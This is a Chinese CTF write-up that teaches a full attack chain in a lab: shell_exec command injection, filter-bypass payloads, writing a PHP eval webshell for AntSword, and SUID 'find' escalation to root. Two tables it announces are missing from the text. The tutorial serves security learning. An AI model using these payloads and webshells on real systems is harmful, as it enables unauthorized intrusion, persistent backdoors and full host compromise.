CTF实战：从RCE到SUID提权的完整攻击链拆解

昨天下午我拆了一套经典的CTF训练靶场，题目是一道标准的Web渗透链：前端有个明显到不能再明显的命令执行点，后端用shell_exec直接把用户输入丢给操作系统。跑通之后，又顺着一个SUID的find把www-data提成了root。整个过程没有花哨的0day，没有复杂的逆向，纯粹是"信息收集+命令注入+文件落地+权限提升"的组合拳。但越是这样基础的题目，越值得回头把每一步的原理和坑都抠清楚，因为这套思路放到真实授权测试里同样成立。

这篇文章就把这条完整链路拆开讲：从如何判断shell_exec可执行、到无回显时怎么探测、再到利用RCE写一个一行后门然后用蚁剑接管、最后通过SUID权限位稳定提权。适合刚接触CTF、想系统梳理命令执行和Linux提权路线的同学，也适合看过很多零散教程但没从头到尾跑通一次完整攻击链的朋友。

1. 题目复盘与解题路径总览

1.1 一个典型的RCE考点长什么样

CTF里最常见的第一类Web入口就是RCE（Remote Code Execution），本质是服务端把用户可控的数据拼进了可以被系统解释的代码或命令中。很多题目会故意把漏洞页做得很显眼，比如有个接口长这样：

<?php $cmd = $_GET['cmd']; echo shell_exec($cmd); ?>

你访问/?cmd=id，页面直接返回：

uid=33(www-data) gid=33(www-data) groups=33(www-data)

这种页面就是考题的标准形状。shell_exec会把cmd参数当作系统命令交给shell执行，再把标准输出返回给浏览器。问题在于服务端完全没有对输入做任何过滤，连基本的白名单、黑名单都没有，等于直接开了一扇门。

但要注意，并不是每个RCE点都会像上面那样把输出明明白白打印出来。有些是system，有些是passthru，有些是exec只把最后一行返回，还有些藏在图片处理、日志写入、模板渲染等功能里。不管形式怎么变，核心思路一致：找到一条能让服务端执行系统命令的路径，然后想方设法把命令的执行结果回传或落地。

1.2 一条完整的攻击链

这套题的价值在于不是一个单点漏洞，而是一条完整的攻击链，大致可以分成五步：

1. 确认RCE存在，并摸清命令执行的回显与过滤情况。
2. 借助RCE在Web目录下写入一个PHP一句话木马。
3. 用蚁剑（AntSword）连接这个木马，获得一个更稳定的WebShell入口。
4. 在WebShell里做Linux基础信息收集，枚举可利用的SUID文件。
5. 利用SUID权限位的缺陷执行提权命令，拿到root权限，读取flag。

发现漏洞只是开始，后面每一步都有各自的取舍和坑。比如写WebShell时，如果你直接echo "<?php ..." > shell.php，单引号、双引号、$符号很容易被shell二次解析，导致写入的文件内容残缺；又比如SUID提权时，find命令确实可被利用，但如果不理解-p参数和exec的参数分隔符号，最终拿到的可能依然是一个低权限shell。

我把这条链拆成下面几个章节，按实际操作顺序讲清楚每一段的思路和细节。

2. 用好shell_exec：从回显探测到命令注入

2.1 shell_exec的回显机制与调试方法

shell_exec是PHP里执行外部命令的函数之一，行为很容易被误解。它执行系统命令后，只会把标准输出作为字符串返回，标准错误默认不会进入返回结果。也就是说，如果页面只写了echo shell_exec($cmd)，而你执行了一条报错命令，看到的往往是一片空白，而不是错误信息。

这一点在初期的探测阶段很关键。我的习惯是拿到一个疑似RCE的点之后，先组合执行一组命令，同时把标准错误也带出来：

?cmd=whoami;id;ls -la /tmp;cat /etc/passwd 2>&1

2>&1的作用是把标准错误重定向到标准输出，这样即使命令本身报"Permission denied"或者文件不存在，也能在页面上看到原因。调试RCE时不要一次性只测一条命令，多命令串联可以快速判断当前运行身份、哪些目录可写、哪些关键文件可读。

还需要了解一个容易踩的坑：如果页面返回空白，不代表命令没有执行成功，也可能只是shell_exec返回了NULL或空字符串。比如执行cd /root && ls时，cd /root可能没有输出，而ls因为权限问题把错误写到stderr，此时不加2>&1，页面同样空白。遇到空白结果时，优先想到"有输出但没被捕获"，而不是"函数被禁用了"。

如果目标机器的命令执行结果实在无法直接回显，就需要采用时间盲测或者写文件二次验证。最基础的方法是执行sleep 5看响应耗时，如果页面卡了大约5秒再返回，说明命令确实进入shell执行了。还有一种做法是在可写目录中落地文件，再通过其他漏洞或功能读取该文件，比如往/tmp写一个标记文件，再借助文件包含读取。

2.2 无回显时的三板斧

在实际题目中，RCE点不总是配置得那么友好。有的把函数执行结果丢进日志，有的直接丢弃，有的把输出渲染到了不显眼的地方。这种情况下，我一般按照下面的顺序排查：

第一，先做延时探测，确认命令是否真正执行。执行sleep 3并观察响应时间，如果响应时间明显增加，说明注入点有效。这个方法最简单也最不容易被环境干扰。第二，写入临时文件，用后续的功能验证。比如先执行echo test > /tmp/xxxxx，然后尝试通过任意文件读取、文件包含、目录遍历等能力读这个文件。只要能读出来，就证明命令已经落地执行。第三，如果目标环境允许对外连接，也可以考虑把命令结果通过HTTP请求发到自己的可控服务上，但这属于外带场景，CTF里大多数题目并不需要走这一步，而且涉及跨网络交互时要注意合规边界，只在自己的靶场里做验证。

很多新手在无回显场景下第一个想到的是用curl外带，但实际解题时先确认回显机制反而更快，因为很多"看似无回显"的情况只是2>&1没加上，或者shell_exec只捕获了stdout没捕获stderr。

2.3 命令分隔符和常见字符的绕过技巧

当RCE加上简单过滤时，问题就从"能不能执行"变成了"怎么让命令合法地拼到shell里"。两道最常见的过滤是：分隔符被拦截、空格被拦截。

命令分隔符的数据库很丰富，;、&&、||、|、换行符都能用来拼接命令。如果cmd参数直接被拼进shell_exec，那么：

?cmd=id;whoami ?cmd=id&&whoami ?cmd=id||whoami ?cmd=id|whoami ?cmd=id%0awhoami

都是可尝试的拼接方式，其中%0a是URL编码后的换行符，在shell里等同于按下回车。有时候分号被过滤，换行符却安然无恙，所以要逐个测试。

空格的过滤也是CTF里特别常见的坑。过滤空格后，直接的cat /flag会失效。常见替换方案有：使用${IFS}、制表符%09、使用<>重定向符，甚至用花括号展开。比如：

cat${IFS}/flag cat%09/flag cat<>/flag {cat,/flag}

这里面的原理不复杂：shell本身用空格作为单词分隔符，但IFS（Internal Field Separator）默认包含空格、制表符和换行，所以${IFS}在多数场景里可以替代空格；%09是制表符，<>在某些shell里也能被识别为重定向或分隔。单独记这些绕过姿势意义不大，更重要的是遇到底层报错时，先把字符做一次URL编码，再逐段拆解，判断到底是哪个字符被服务端过滤了。

如果过滤的是关键字，比如禁止cat、flag，首选方案是使用通配符、变量拼接和外部命令替代。cat /fla*可以绕过只针对完整文件名的拦截；ca''t /flag利用空引号让字符串变成一个token；更通用的是把命令做base64编码再解码执行：

echo Y2F0IC9mbGFn | base64 -d | bash

这样过滤规则很难直接从原始输入里识别出cat和flag。不过这类绕过只对"简单正则过滤"有效，如果目标使用了完整的命令白名单或禁用函数，那就要另找路径了。

3. 落地WebShell：给蚁剑一个稳定的入口

3.1 为什么还要写一个WebShell

拿到命令执行之后，很多人会有点疑惑：我都能执行系统命令了，直接cat /flag不行吗，为什么还要费事写一个WebShell再连蚁剑？

我在实战中比较喜欢WebShell方案，原因在于RCE点通常是脆弱的，它可能依赖某一个特定参数，可能每次执行都需要经过日志转发，也可能在某个反序列化接口里只能执行有限几条命令。而蚁剑连接WebShell后，你能得到的是完整的图形化文件管理、虚拟终端、数据库连接和插件系统，随便切换目录、编辑文件、执行命令，稳定性和可操作性完全不是一个量级。对后续的SUID枚举和提权阶段来说，这种稳定性非常重要——你不会希望正在输入复杂命令时因为RCE参数被截断而中断操作。

所以从shell_exec到蚁剑的这一步，本质上是把一个"脆弱的RCE"升级成一个"稳定的后门入口"。当然这句话必须在授权环境里理解，CTF靶场和自己搭的靶场是这套操作的适用边界。

3.2 三种落地方式与命令构造

写WebShell的思路很简单：用RCE在Web服务器能解析的目录中写入一个PHP文件，这个文件的内容是一个可以被蚁剑识别的一句话木马。最经典的一句话后门长这样：

<?php @eval($_POST['x']); ?>

当用户向这个文件POST一个名为x的参数时，参数内容会被当作PHP代码执行。蚁剑与WebShell通信的本质就是向这个入口提交特定的PHP代码。但这里有个非常实际的问题：你通过RCE写入文件时，echo命令的内容必须经过shell解析，如果处理不好，文件内容会缺胳膊少腿。

我第一次操作时直接用双引号包裹PHP代码，结果PHP里的$_POST被外层shell当成变量提前替换，写进文件的变成了空值。后续我总结出三种稳妥的落地方式。

第一种，用单引号包裹PHP内容，内部PHP变量用双引号索引：

echo '<?php @eval($_POST["x"]); ?>' > /var/www/html/shell.php

外层单引号内的内容会原样输出，虽然$符号在双引号里仍是PHP的变量前缀，但由于整个PHP代码块被单引号包裹，shell不会展开它。

第二种，用base64编码，这是最稳的一招，因为整个过程中不会出现任何特殊字符：

echo PD9waHAgQGV2YWwoJCRfUE9TVFsieCJdKTsgPz4= | base64 -d > /var/www/html/shell.php

这里需要你先把一句话木马转成base64再执行，避开了所有引号、变量、括号可能带来的解析问题。如果你不确定目标机器有没有base64命令，也可以用xxd -r、printf等，但通常Linux环境都自带base64。

第三种，利用printf直接格式化输出：

printf '%s' '<?php @eval($_POST["x"]); ?>' > /var/www/html/shell.php

printf本身不会对$做变量展开，只要把内容作为参数传入，文件内容就是精确的。这三种方式里，日常CTF解题我优先用base64，因为它的可预测性最强，写出来的文件内容与预期完全一致。

写完之后不要急着用蚁剑连，先通过RCE检查一下文件是否真的落地、内容是否完整：

ls -la /var/www/html/shell.php cat /var/www/html/shell.php

常见的低级错误是文件写到了错误目录。如果你不知道Web根目录在哪，可以先执行find / -name index.php 2>/dev/null找到网站入口所在目录，再决定写到哪里。有些靶场用的是Nginx，根目录可能是/usr/share/nginx/html，不是默认的/var/www/html。

3.3 蚁剑连接参数与常见失败原因

蚁剑的界面是图形化的，操作路径不算复杂。打开后选择添加数据，填写URL地址和连接密码，再选择编码器，就能试连。

以刚才的shell.php为例，连接参数通常是：

• URL：http://目标地址/shell.php
• 密码：x
• 编码器：选base64或默认的chr都可以
• 连接类型：默认

填好之后点击测试连接，如果提示连接成功，就可以在数据管理器中双击打开这个入口。蚁剑文件管理界面会让你看到Web目录列表，后端服务信息也会一并展示出来。

我在实际使用中遇到最多的连接失败场景有以下几种。一是URL路径不对，shell.php写到了/tmp，但Web根目录是/var/www/html，直接用URL访问当然404。二是写入的文件没有执行权限，或者所在目录被PHP安全配置限制为不可解析。三是目标机器对eval这类高危函数做了禁用，导致POST内容被拦截，蚁剑连接时返回空白。还有一种是PHP版本问题，例如PHP 7以上对assert的调用方式有变化，如果写入的是assert($_POST['x'])这种老式后门，在新版本上可能无法执行。

排查时可以先用浏览器直接POST一个简单参数测试：

curl -d "x=echo 'test';" http://目标/shell.php

如果页面返回test，说明后门可用；如果返回空白或500，就要检查文件权限、PHP配置和安全插件。蚁剑本身并不神秘，它只是把原本需要手动构造的POST请求图形化，问题通常出在WebShell没写好，而不是蚁剑配置错了。

4. SUID提权：从www-data到root的最后一公里

4.1 SUID的本质与权限交换过程

拿到WebShell之后，你通常是一个低权限Web用户，比如www-data。这种用户能读写Web目录，但读不了/flag，更不能随便修改系统敏感文件。CTF里剩下的事情往往只有一件：提权。

提权有很多路径，内核漏洞、Cron任务、sudo配置错误、环境变量劫持都是常见方向。SUID提权是其中原理最简单、也是最常考的Linux基础考点之一。

SUID是Set User ID的缩写，是一个特殊的文件权限位。正常情况下，用户运行一个程序时，该进程的权限与运行它的用户身份一致。比如我以www-data身份运行cat，那这个cat进程就只有www-data的权限。但当一个可执行文件被设置了SUID位，并且文件所有者是root时，任何用户运行这个文件，产生的进程的有效用户ID都会被设置成root。可以把这个理解成"临时借领导的工牌刷门禁"——刷门禁的瞬间你确实获得了领导级别的门禁权限，但口令还是系统按照root身份校验的。

用ls -l查看一个设置SUID的可执行文件时，所有者权限位会从x变成s，例如：

-rwsr-xr-x 1 root root 123456 /usr/bin/find

这里所有者权限位显示为rws，那个s就是SUID位的标志。内核在execve()加载这个程序时，会检查文件的SUID位，并把进程的euid（有效用户ID）设置为文件所有者的UID。后面内核做权限检查时，看的是euid而不是ruid（真实用户ID），所以这个进程就能以root身份读取原本无权限的文件、执行原本无权限的系统调用。

SUID本身不是漏洞，passwd、su、sudo这些程序都需要SUID位才能执行特权操作。问题在于如果一个本来就能让你执行命令、读写文件或进入交互shell的工具也带了SUID位，那等于把一个root权限的门面交到了普通用户手里。

4.2 枚举SUID文件：哪些能打哪些是干扰项

提权的第一步是找出目标机器上所有设置了SUID位的可执行文件。经典命令是：

find / -perm -4000 -type f 2>/dev/null

-perm -4000匹配的就是SUID位，-type f限定普通文件，2>/dev/null把无权限目录的报错丢掉。另一种写法是：

find / -uid 0 -perm -4000 -type f 2>/dev/null

-uid 0进一步限定文件所有者为root，这样排除掉那些非root所有的SUID文件。输出列表里通常会出现一串系统自带文件，比如/usr/bin/passwd、/usr/bin/su、/usr/bin/sudo，这些基本是正常系统功能，不能直接利用。真正需要关注的是下面几类：

• 能直接执行系统命令的工具：find、vim、nmap、less、more。
• 自带脚本解释器的工具：python、perl、ruby、php。
• 能拷贝或覆盖文件但本身不执行命令的工具：cp、tee。

判断一个SUID文件能不能打，核心问题只有一个：这个程序是否允许你以某种方式执行任意命令或写入特权文件。find能用-exec选项调用外部命令，vim能通过:!进入shell，python本身就是解释器，这些都属于高风险组合。而passwd虽然拥有root权限，但其设计目标就是修改密码，正常情况下不会给你执行任意命令的口子，所以属于干扰项。

找到可疑文件后，我会先用ls -l确认SUID位确实存在，再检查利用方式是否匹配目标系统里的工具版本。有些靶场会把bash也设置成root所有的SUID，那样的话直接运行/bin/bash -p就能拿到root shell，这种属于送分题。

4.3 常用SUID二进制利用表

下面这张表是我平时整理的高风险SUID二进制清单，每一项都标注了对应的触发方式。建议照着这张表在本地的练习靶场里逐一复现一遍，熟悉之后遇到相似环境能更快定位。

这里重点说一下find，因为它在CTF里出镜率最高，也最稳定。find / -exec /bin/sh -p \; -quit这条命令的含义是：从根目录开始遍历文件，每处理一个文件就执行一次/bin/sh -p。\;是find命令中-exec的参数结束符，告诉find这里是一条独立的外部命令；-quit表示在第一个匹配项处理完后立即退出，避免无限递归。之所以给/bin/sh加-p，是因为bash和某些dash在启动时会检查真实UID与有效UID是否一致，如果不一致，默认会主动把有效UID降为真实UID，-p参数可以关闭这个降权机制。如果不加-p，你得到的可能还是www-data权限的shell，提权就失败了。

4.4 一次完整的提权操作实录

下面我用一次完整的靶场操作来演示从WebShell到root的整个过程，所有操作仅在授权靶场内进行。

在蚁剑的虚拟终端里输入：

id

输出显示当前是www-data用户。接着执行SUID枚举：

find / -perm -4000 -type f 2>/dev/null

结果里除了常见的/usr/bin/passwd、/usr/bin/sudo之外，我看到了一个格外显眼的路径：

-rwsr-xr-x 1 root root 123456 /usr/bin/find

确认find被设置了SUID位，那么直接构造利用链。先试一下能不能从find中唤醒一个root shell：

find / -exec /bin/sh -p \; -quit

执行后终端提示符没有太大变化，但再执行id时，输出变成：

uid=0(root) gid=0(root) groups=0(root)

此时已经拿到root权限。接下来定位flag的位置。使用：

find / -name "*flag*" 2>/dev/null

常见的flag路径有/flag、/root/flag.txt、/home/ctf/flag。定位到之后直接读取：

cat /flag

如果flag文件权限为600 root:root，那么提权前这个操作会返回Permission denied，提权后则能正常读出内容。这也是验证SUID提权是否成功的一个重要标志。

需要注意，find利用方式虽然稳定，但执行时它会在整个文件系统里不断遍历，如果目标机器文件很多，命令可能运行得比较慢，甚至在极少数环境下因为文件系统错误而中断。更快的替代方式是利用现有的可写目录缩小查找范围，或者直接对已知存在的路径执行find：find /tmp -exec /bin/sh -p \; -quit。反正核心就是通过find调用外部命令。

5. 踩坑记录与排查清单

5.1 我碰到的四个典型问题

这套题我完整跑过不止一次，也见过不少人在某个中间步骤卡死。下面这四个问题是我个人出镜率最高的，单独列出来，希望你能少走几趟弯路。

第一个问题是命令执行了但页面始终空白。这个坑经常出现在用shell_exec直接输出结果的场景里，原因是stderr没有被捕获。解决办法是在命令末尾加上2>&1，把错误输出合并到标准输出中一起返回。另一个可能原因是shell_exec返回了NULL，如果页面代码直接echo一个NULL，在多数PHP配置下显示为空白。

第二个问题是写入的WebShell在蚁剑里连不上。我遇到过很多次都是因为把文件写到了/tmp，但Web根目录在/var/www/html。你需要先确认网站的DocumentRoot，再决定写文件的位置。另一个常见原因是写入的文件权限不对，比如没有设置读权限，或者所在目录不允许Web服务执行PHP。如果二者都正常，可以先用curl手动POST测试，再看蚁剑的返回信息。

第三个问题是利用find提权时，调用了/bin/sh但权限还是www-data。这通常是因为目标shell启动时主动丢弃了SUID权限，尤其当/bin/sh指向bash或dash时，不带-p参数就会自动把euid降为ruid。解决办法就是给shell加-p参数。如果连-p都失效，考虑改用python或perl这类能显式调用setuid(0)的解释器。

第四个问题是提权后找不到flag。这个不算真正的"坑"，更多是经验问题。flag的文件名不一定叫flag，有时是flag.txt、flag_is_here，也可能藏在/root目录的某个不起眼文件中。我习惯用find / -name "*flag*"先做一轮全盘搜索；如果担心干扰项太多，可以缩小范围到/root、/home、/tmp等目录。某些题目还会把flag放在环境变量或系统进程参数里，这种情况用env、ps aux检查一下也行。

5.2 排查思路速查表

我把上面这些内容整理成一张速查表，方便你实际做题时快速定位问题：

5.3 几条实操心得

最后分享几个我自己总结的习惯。

第一，每做一步都顺手验证结果，不要等最后一次性检查。写入WebShell后立刻cat一次，提权成功后立刻id两次（一次在利用命令里，一次在打开的shell里），这样一旦出错能迅速缩小范围。

第二，优先使用base64处理所有含特殊字符的文件写入和无回显命令执行。这不是最"炫技"的方案，却是最不容易出错的方案。CTF里时间有限，稳定比复杂度更重要。

第三，理解SUID提权的本质比背命令重要得多。记不住find -exec /bin/sh -p没关系，你只要明白"SUID程序以文件所有者的权限运行，而这个程序又可以执行命令"，就能推导出利用方式。再遇到一个不认识的SUID文件时，先问自己三个问题：它能执行外部命令吗？能进入交互shell吗？能改写特权文件吗？三个答案里只要有一个是"能"，就值得继续深挖。

第四，所有提权操作都必须在授权范围内进行。CTF靶场、自己搭的虚拟机、企业明确授权的渗透测试项目都没问题，但绝不要在未授权的主机上执行这类操作。工具本身没有善恶，使用边界才是需要每个人守住的底线。

我个人在实际操作中的体会是：RCE与SUID提权这条链路，真正难的不是某一单个步骤，而是对整个权限模型的理解是否连贯。把shell_exec、WebShell、蚁剑、SUID这四个环节串起来之后，下次再看到任何形式的命令执行，你自然就会想：这个点能带我走到哪一步？能写到文件吗？能替目标系统换一个入口吗？能碰到root吗？带着这几个问题去调试，解题效率会高很多。